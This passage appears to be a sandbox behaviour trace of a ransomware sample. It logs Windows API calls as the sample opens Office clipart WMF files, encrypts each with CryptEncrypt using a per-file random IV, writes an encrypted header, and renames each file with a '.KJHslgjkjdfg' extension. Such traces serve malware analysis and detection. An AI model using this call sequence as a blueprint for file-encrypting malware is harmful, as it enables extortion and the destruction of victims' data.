nNumberOfBytesToRead=0x543a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x543a, lpOverlapped=0x0) returned 1 [0190.385] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5440, dwBufLen=0x5440 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5440) returned 1 [0190.386] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.386] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5440, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5440, lpOverlapped=0x0) returned 1 [0190.386] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.386] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.386] SetEndOfFile (hFile=0x114) returned 1 [0190.389] GetProcessHeap () returned 0x2a0000 [0190.389] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.389] GetProcessHeap () returned 0x2a0000 [0190.389] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.389] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf.kjhslgjkjdfg")) returned 1 [0190.391] CloseHandle (hObject=0x114) returned 1 [0190.391] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db71a00, ftCreationTime.dwHighDateTime=0x1bd4b39, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1db71a00, ftLastWriteTime.dwHighDateTime=0x1bd4b39, nFileSizeHigh=0x0, nFileSizeLow=0x16ee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00783_.WMF", cAlternateFileName="")) returned 1 [0190.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.393] GetProcessHeap () returned 0x2a0000 [0190.393] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.393] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.393] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0190.396] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.396] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.396] GetProcessHeap () returned 0x2a0000 [0190.396] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.396] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.396] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.396] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.396] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.396] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.396] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.397] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.397] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.397] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.397] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.397] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.397] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x16ee, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x16ee, lpOverlapped=0x0) returned 1 [0190.398] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16f0, dwBufLen=0x16f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16f0) returned 1 [0190.398] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.398] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x16f0, lpOverlapped=0x0) returned 1 [0190.398] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.398] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x17c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.398] SetEndOfFile (hFile=0x114) returned 1 [0190.401] GetProcessHeap () returned 0x2a0000 [0190.401] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.401] GetProcessHeap () returned 0x2a0000 [0190.401] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.401] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf.kjhslgjkjdfg")) returned 1 [0190.403] CloseHandle (hObject=0x114) returned 1 [0190.403] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x230f6700, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x230f6700, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x41c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00820_.WMF", cAlternateFileName="")) returned 1 [0190.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.404] GetProcessHeap () returned 0x2a0000 [0190.404] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.404] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.404] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.405] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0190.406] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.406] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.407] GetProcessHeap () returned 0x2a0000 [0190.407] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.407] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.407] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.407] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.407] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.407] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.407] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.407] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.407] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.407] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.407] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.407] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.407] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x41c2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x41c2, lpOverlapped=0x0) returned 1 [0190.408] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x41d0, dwBufLen=0x41d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x41d0) returned 1 [0190.408] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.409] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x41d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x41d0, lpOverlapped=0x0) returned 1 [0190.409] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.409] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x42a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.409] SetEndOfFile (hFile=0x114) returned 1 [0190.411] GetProcessHeap () returned 0x2a0000 [0190.411] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.411] GetProcessHeap () returned 0x2a0000 [0190.412] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.412] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf.kjhslgjkjdfg")) returned 1 [0190.413] CloseHandle (hObject=0x114) returned 1 [0190.413] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec395100, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec395100, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x28ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00828_.WMF", cAlternateFileName="")) returned 1 [0190.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.414] GetProcessHeap () returned 0x2a0000 [0190.415] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.415] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.415] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.415] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0190.417] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.417] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.417] GetProcessHeap () returned 0x2a0000 [0190.417] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.417] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.417] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.417] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.417] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.417] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.417] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.417] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.417] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.417] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.417] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.417] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.418] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x28ae, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x28ae, lpOverlapped=0x0) returned 1 [0190.418] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x28b0, dwBufLen=0x28b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x28b0) returned 1 [0190.418] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.419] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x28b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x28b0, lpOverlapped=0x0) returned 1 [0190.419] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.419] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.419] SetEndOfFile (hFile=0x114) returned 1 [0190.421] GetProcessHeap () returned 0x2a0000 [0190.421] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.421] GetProcessHeap () returned 0x2a0000 [0190.421] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.421] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf.kjhslgjkjdfg")) returned 1 [0190.423] CloseHandle (hObject=0x114) returned 1 [0190.423] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce6bec00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xce6bec00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x36da, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00834_.WMF", cAlternateFileName="")) returned 1 [0190.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.424] GetProcessHeap () returned 0x2a0000 [0190.424] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.424] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.425] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.425] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0190.429] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.429] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.429] GetProcessHeap () returned 0x2a0000 [0190.429] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.429] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.429] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.429] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.429] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.429] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.430] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.430] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.430] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.430] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.430] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.430] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.430] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x36da, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x36da, lpOverlapped=0x0) returned 1 [0190.431] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x36e0, dwBufLen=0x36e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x36e0) returned 1 [0190.431] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.431] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x36e0, lpOverlapped=0x0) returned 1 [0190.431] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.431] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x37b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.431] SetEndOfFile (hFile=0x114) returned 1 [0190.434] GetProcessHeap () returned 0x2a0000 [0190.434] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.434] GetProcessHeap () returned 0x2a0000 [0190.434] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 